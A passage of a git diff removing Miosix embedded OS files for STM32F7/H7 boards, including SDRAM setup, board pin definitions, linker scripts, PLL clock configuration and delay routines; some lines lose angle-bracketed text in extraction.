controller clock - RCC->AHB3ENR |= RCC_AHB3ENR_FMCEN; - RCC_SYNC(); - - // The SDRAM is a IS42S32400F-6BL - // HCLK = 216MHz -> SDRAM clock = HCLK/2 = 133MHz - - // 1. Memory device features - FMC_Bank5_6->SDCR[0] = 0 // 0 delay after CAS latency - | FMC_SDCR1_RBURST // Enable read bursts - | FMC_SDCR1_SDCLK_1 // SDCLK = HCLK / 2 - | 0 // Write accesses allowed - | FMC_SDCR1_CAS_1 // 2 cycles CAS latency - | FMC_SDCR1_NB // 4 internal banks - | FMC_SDCR1_MWID_1 // 32 bit data bus - | FMC_SDCR1_NR_0 // 12 bit row address - | 0; // 8 bit column address - - // 2. Memory device timings - #ifdef SYSCLK_FREQ_216MHz - // SDRAM timings. One clock cycle is 9.26ns - FMC_Bank5_6->SDTR[0] = - (2 - 1) << FMC_SDTR1_TRCD_Pos // 2 cycles TRCD (18.52ns > 18ns) - | (2 - 1) << FMC_SDTR1_TRP_Pos // 2 cycles TRP (18.52ns > 18ns) - | (2 - 1) << FMC_SDTR1_TWR_Pos // 2 cycles TWR (18.52ns > 12ns) - | (7 - 1) << FMC_SDTR1_TRC_Pos // 7 cycles TRC (64.82ns > 60ns) - | (5 - 1) << FMC_SDTR1_TRAS_Pos // 5 cycles TRAS (46.3ns > 42ns) - | (8 - 1) << FMC_SDTR1_TXSR_Pos // 8 cycles TXSR (74.08ns > 70ns) - | (2 - 1) << FMC_SDTR1_TMRD_Pos; // 2 cycles TMRD (18.52ns > 12ns) - #else - #error No SDRAM timings for this clock - #endif - - // 3. Enable the bank 1 clock - FMC_Bank5_6->SDCMR = FMC_SDCMR_MODE_0 // Clock Configuration Enable - | FMC_SDCMR_CTB1; // Bank 1 - sdramCommandWait(); - - // 4. Wait during command execution - delayUs(100); - - // 5. Issue a "Precharge All" command - FMC_Bank5_6->SDCMR = FMC_SDCMR_MODE_1 // Precharge all - | FMC_SDCMR_CTB1; // Bank 1 - sdramCommandWait(); - - // 6. Issue Auto-Refresh commands - FMC_Bank5_6->SDCMR = FMC_SDCMR_MODE_1 | FMC_SDCMR_MODE_0 // Auto-Refresh - | FMC_SDCMR_CTB1 // Bank 1 - | (8 - 1) << FMC_SDCMR_NRFS_Pos; // 2 Auto-Refresh - sdramCommandWait(); - - // 7. Issue a Load Mode Register command - FMC_Bank5_6->SDCMR = FMC_SDCMR_MODE_2 /// Load mode register - | FMC_SDCMR_CTB1 // Bank 1 - | 0x220 << FMC_SDCMR_MRD_Pos; // CAS = 2, burst = 1 - sdramCommandWait(); - - // 8. Program the refresh rate (4K / 64ms) - // 64ms / 4096 = 15.625us - #ifdef SYSCLK_FREQ_216MHz - // 15.625us * 108MHz = 1687 - 20 = 1667 - FMC_Bank5_6->SDRTR = 1667 << FMC_SDRTR_COUNT_Pos; - #else - #error No SDRAM refresh timings for this clock - #endif -} - -void IRQbspInit() -{ - //If using SDRAM GPIOs are enabled by configureSdram(), else enable them here - #ifndef __ENABLE_XRAM - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN | - RCC_AHB1ENR_GPIOIEN | RCC_AHB1ENR_GPIOJEN; - RCC_SYNC(); - #endif //__ENABLE_XRAM - - userLed1::mode(Mode::OUTPUT); - userLed2::mode(Mode::OUTPUT); - userLed3::mode(Mode::OUTPUT); - userBtn::mode(Mode::INPUT); - sdCardDetect::mode(Mode::INPUT); - - ledOn(); - delayMs(100); - ledOff(); - - DefaultConsole::instance().IRQset(intrusive_ref_ptr(new STM32Serial( - defaultSerial, defaultSerialSpeed, STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif // WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - ioctl(STDOUT_FILENO, IOCTL_SYNC, 0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif // WITH_FILESYSTEM - - disableInterrupts(); - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO, IOCTL_SYNC, 0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif // WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} // namespace miosix diff --git a/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/interfaces-impl/bsp_impl.h deleted file mode 100644 index e7ece74a7..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,107 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*************************************************************************** - * bsp_impl.h Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ***************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * Called by stage_1_boot.cpp to enable the SDRAM before initializing .data/.bss - * Requires the CPU clock to be already configured (running from the PLL) - */ -void configureSdram(); - -/** - * \internal - * Board pin definition - */ -typedef Gpio userLed1; -typedef Gpio userLed2; -typedef Gpio userLed3; -typedef Gpio userBtn; -typedef Gpio sdCardDetect; - -inline void ledOn() -{ - userLed1::high(); - userLed2::high(); - userLed3::high(); -} - -inline void ledOff() -{ - userLed1::low(); - userLed2::low(); - userLed3::low(); -} - -inline void led1On() { userLed1::high(); } - -inline void led1Off() { userLed1::low(); } - -inline void led2On() { userLed2::high(); } - -inline void led2Off() { userLed2::low(); } - -inline void led3On() { userLed3::high(); } - -inline void led3Off() { userLed3::low(); } - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * TODO: never tested - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return sdCardDetect::value() == 0; } - -/** -\} -*/ - -} // namespace miosix - -#endif // BSP_IMPL_H diff --git a/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/stm32_2m+16m_xram.ld b/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/stm32_2m+16m_xram.ld deleted file mode 100644 index 683956e89..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/stm32_2m+16m_xram.ld +++ /dev/null @@ -1,179 +0,0 @@ -/* - * C++ enabled linker script for stm32f769ni (2M FLASH, 512K RAM, 16MB XRAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the DTCM 128KB RAM - * - .data, .bss, stacks and heap in the external 16MB SDRAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ - -_main_stack_size = 512; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into XRAM */ -_heap_end = 0xc0000000 + 16M; /* end of available ram */ - -/* Identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* - * Specify the memory areas - * - * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled - * Memory). Technically, we could use this as normal RAM as there's a way for - * the DMA to access it, but the datasheet is unclear about performance - * penalties for doing so. To avoid nonuniform DMA memory access latencies, - * we leave this 128KB DTCM unused except for the first 512Bytes which are for - * the interrupt stack. This leaves us with 384KB of RAM - */ -MEMORY -{ - xram(wx) : ORIGIN = 0xc0000000, LENGTH = 16M - sram(wx) : ORIGIN = 0x20020000, LENGTH = 384K - dtcm(wx) : ORIGIN = 0x20000000, LENGTH = 128K /* Used for main stack */ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* - * .data section: global variables go to xram, but also store a copy to - * flash to initialize them - */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > xram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to xram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > xram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/stm32_2m+384k_ram.ld b/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/stm32_2m+384k_ram.ld deleted file mode 100644 index 5c82915f3..000000000 --- a/miosix/arch/cortexM7_stm32f7/stm32f769ni_discovery/stm32_2m+384k_ram.ld +++ /dev/null @@ -1,178 +0,0 @@ -/* - * C++ enabled linker script for stm32f769ni (2M FLASH, 384K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the DTCM 128KB RAM - * - .data, .bss, stacks and heap in the internal RAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ - -_main_stack_size = 512; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap to the end of SRAM2 */ -_heap_end = 0x20000000 + 512K; /* end of available ram */ - -/* Identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* - * Specify the memory areas - * - * NOTE: starting at 0x20000000 there's 128KB of DTCM (Data Tightly Coupled - * Memory). Technically, we could use this as normal RAM as there's a way for - * the DMA to access it, but the datasheet is unclear about performance - * penalties for doing so. To avoid nonuniform DMA memory access latencies, - * we leave this 128KB DTCM unused except for the first 512Bytes which are for - * the interrupt stack. This leaves us with 384KB of RAM - */ -MEMORY -{ - sram(wx) : ORIGIN = 0x20020000, LENGTH = 384K - dtcm(wx) : ORIGIN = 0x20000000, LENGTH = 128K /* Used for main stack */ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* - * .data section: global variables go to sram, but also store a copy to - * flash to initialize them - */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > sram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to sram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > sram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM7_stm32h7/common/arch_settings.h b/miosix/arch/cortexM7_stm32h7/common/arch_settings.h deleted file mode 100644 index 01235ec6f..000000000 --- a/miosix/arch/cortexM7_stm32h7/common/arch_settings.h +++ /dev/null @@ -1,61 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal size of vector to store registers during ctx switch -/// ((10+16)*4=104Bytes). Only sp, r4-r11, EXC_RETURN and s16-s31 are saved -/// here, since r0-r3,r12,lr,pc,xPSR, old sp and s0-s15,fpscr are saved by -/// hardware on the process stack on Cortex M4F CPUs. EXC_RETURN, or the lr, -/// value to use to return from the exception is necessary to know if the -/// thread has used fp regs, as an extension specific to Cortex-M4F CPUs. -const unsigned char CTXSAVE_SIZE=10+16; - -/// \internal some architectures save part of the context on their stack. -/// ((8+17)*4=100Bytes). This constant is used to increase the stack size by -/// the size of context save frame. If zero, this architecture does not save -/// anything on stack during context save. Size is in bytes, not words. -/// 8 registers=r0-r3,r12,lr,pc,xPSR -/// 17 registers=s0-s15,fpscr -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=(8+17)*4; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM7_stm32h7/common/drivers/pll.cpp b/miosix/arch/cortexM7_stm32h7/common/drivers/pll.cpp deleted file mode 100644 index 6245a5338..000000000 --- a/miosix/arch/cortexM7_stm32h7/common/drivers/pll.cpp +++ /dev/null @@ -1,144 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/arch_registers.h" -#include "pll.h" - -//Constraints: -//PLL input between 2MHz and 16MHz (wide range PLL can't run with <2MHz) -//PLL output between 192MHz and 836MHz(h723/h743) 960MHz(h755) -#if (HSE_VALUE == 25000000) -static constexpr unsigned int rge=0b10; //4..8MHz -static constexpr unsigned int M=5; // 25MHz/M=5MHz -#ifdef SYSCLK_FREQ_550MHz -static constexpr unsigned int N=110; // 5MHz*N=550MHz -static constexpr unsigned int P=1; // 550MHz/P=550MHz -static constexpr unsigned int Q=6; // 550MHz/P=91.66MHz (<=100MHz for SDMMC) -static constexpr unsigned int R=1; // 550MHz/P=550MHz -#elif defined(SYSCLK_FREQ_400MHz) -static constexpr unsigned int N=160; // 5MHz*N=800MHz -static constexpr unsigned int P=2; // 800MHz/P=400MHz -static constexpr unsigned int Q=8; // 800MHz/P=100MHz (for SDMMC) -static constexpr unsigned int R=2; // 800MHz/P=400MHz -#else -#error "SYSCLK value not supported!" -#endif -#elif (HSE_VALUE == 8000000) -#ifdef SYSCLK_FREQ_550MHz -static constexpr unsigned int rge=0b01; //2..4MHz -static constexpr unsigned int M=4; // 8MHz/M=2MHz -static constexpr unsigned int N=275; // 2MHz*N=550MHz -static constexpr unsigned int P=1; // 550MHz/P=550MHz -static constexpr unsigned int Q=6; // 550MHz/P=91.66MHz (<=100MHz for SDMMC) -static constexpr unsigned int R=1; // 550MHz/P=550MHz -#elif defined(SYSCLK_FREQ_400MHz) -static constexpr unsigned int rge=0b01; //2..4MHz -static constexpr unsigned int M=2; // 8MHz/M=4MHz -static constexpr unsigned int N=200; // 4MHz*N=800MHz -static constexpr unsigned int P=2; // 800MHz/P=400MHz -static constexpr unsigned int Q=8; // 800MHz/P=100MHz (for SDMMC) -static constexpr unsigned int R=2; // 800MHz/P=400MHz -#else -#error "SYSCLK value not supported!" -#endif -#else -#error "HSE value not supported!" -#endif - -void startPll() -{ - #ifdef _BOARD_STM32H755ZI_NUCLEO - //This board is configured to use the SMPS instead of the LDO, and requires - //hardware rewiring to change that. So use the SMPS. - //As a consequence, the maximum frequency is 400MHz instead of 480MHz... - PWR->CR3 &= ~PWR_CR3_LDOEN; - #endif //_BOARD_STM32H755ZI_NUCLEO - - #ifndef STM32H755xx - //QUIRK: it looks like VOS can only be set by first setting SCUEN to 0. - //This isn't documented anywhere in the reference manual. - //And some chips lack this bit - PWR->CR3 &= ~PWR_CR3_SCUEN; - #endif - - //In the STM32H7 DVFS was introduced (chapter 6, Power control) - //Switch to highest possible voltage to run at the max freq - #ifdef SYSCLK_FREQ_550MHz - PWR->D3CR = 0b00<D3CR & PWR_D3CR_VOSRDY)==0) ; //Wait - RCC->APB4ENR |= RCC_APB4ENR_SYSCFGEN; - RCC_SYNC(); - SYSCFG->UR18 |= SYSCFG_UR18_CPU_FREQ_BOOST; //TODO: docs say it's read-only?? - #else - PWR->D3CR = 0b11<D3CR & PWR_D3CR_VOSRDY)==0) ; //Wait - #endif - - //Enable HSE oscillator - RCC->CR |= RCC_CR_HSEON; - while((RCC->CR & RCC_CR_HSERDY)==0) ; //Wait - - //Start the PLL - RCC->PLLCKSELR |= M<PLL1DIVR = (R-1)<PLLCFGR |= rge<CR |= RCC_CR_PLL1ON; - while((RCC->CR & RCC_CR_PLL1RDY)==0) ; //Wait - - //Before increasing the fequency set dividers - RCC->D1CFGR = RCC_D1CFGR_D1CPRE_DIV1 //CPU clock /1 - | RCC_D1CFGR_D1PPRE_DIV2 //D1 APB3 /2 - | RCC_D1CFGR_HPRE_DIV2; //D1 AHB /2 - RCC->D2CFGR = RCC_D2CFGR_D2PPRE2_DIV2 //D2 APB2 /2 - | RCC_D2CFGR_D2PPRE1_DIV2;//D2 APB1 /2 - RCC->D3CFGR = RCC_D3CFGR_D3PPRE_DIV2; //D3 APB4 /2 - - //And increase FLASH wait states - #ifdef SYSCLK_FREQ_550MHz - //Only STM32H723xx supports 550MHz - #ifdef STM32H723xx - FLASH->ACR = 0b11<ACR = 0b10<CFGR |= RCC_CFGR_SW_PLL1; - while((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_PLL1) ; //Wait -} diff --git a/miosix/arch/cortexM7_stm32h7/common/drivers/pll.h b/miosix/arch/cortexM7_stm32h7/common/drivers/pll.h deleted file mode 100644 index 0a9f17a04..000000000 --- a/miosix/arch/cortexM7_stm32h7/common/drivers/pll.h +++ /dev/null @@ -1,33 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef PLL_H -#define PLL_H - -void startPll(); - -#endif //PLL_H diff --git a/miosix/arch/cortexM7_stm32h7/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM7_stm32h7/common/interfaces-impl/delays.cpp deleted file mode 100644 index 02d769481..000000000 --- a/miosix/arch/cortexM7_stm32h7/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,76 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" - -namespace miosix { - -void delayMs(unsigned int mseconds) -{ - //Note: flash wait state don't matter because of icache - #ifdef SYSCLK_FREQ_550MHz - register const unsigned int count=550000; - #elif defined(SYSCLK_FREQ_400MHz) - register const unsigned int count=400000; - #else - #error "Delays are uncalibrated for this clock frequency" - #endif - - for(unsigned int i=0;i * - ***************************************************************************/ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "drivers/stm32_gpio.h" - -#endif //GPIO_IMPL_H diff --git a/miosix/arch/cortexM7_stm32h7/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM7_stm32h7/common/interfaces-impl/portability.cpp deleted file mode 100644 index 416a7e929..000000000 --- a/miosix/arch/cortexM7_stm32h7/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,255 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include "core/interrupts.h" -#include "kernel/process.h" -#include -#include -#include -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not 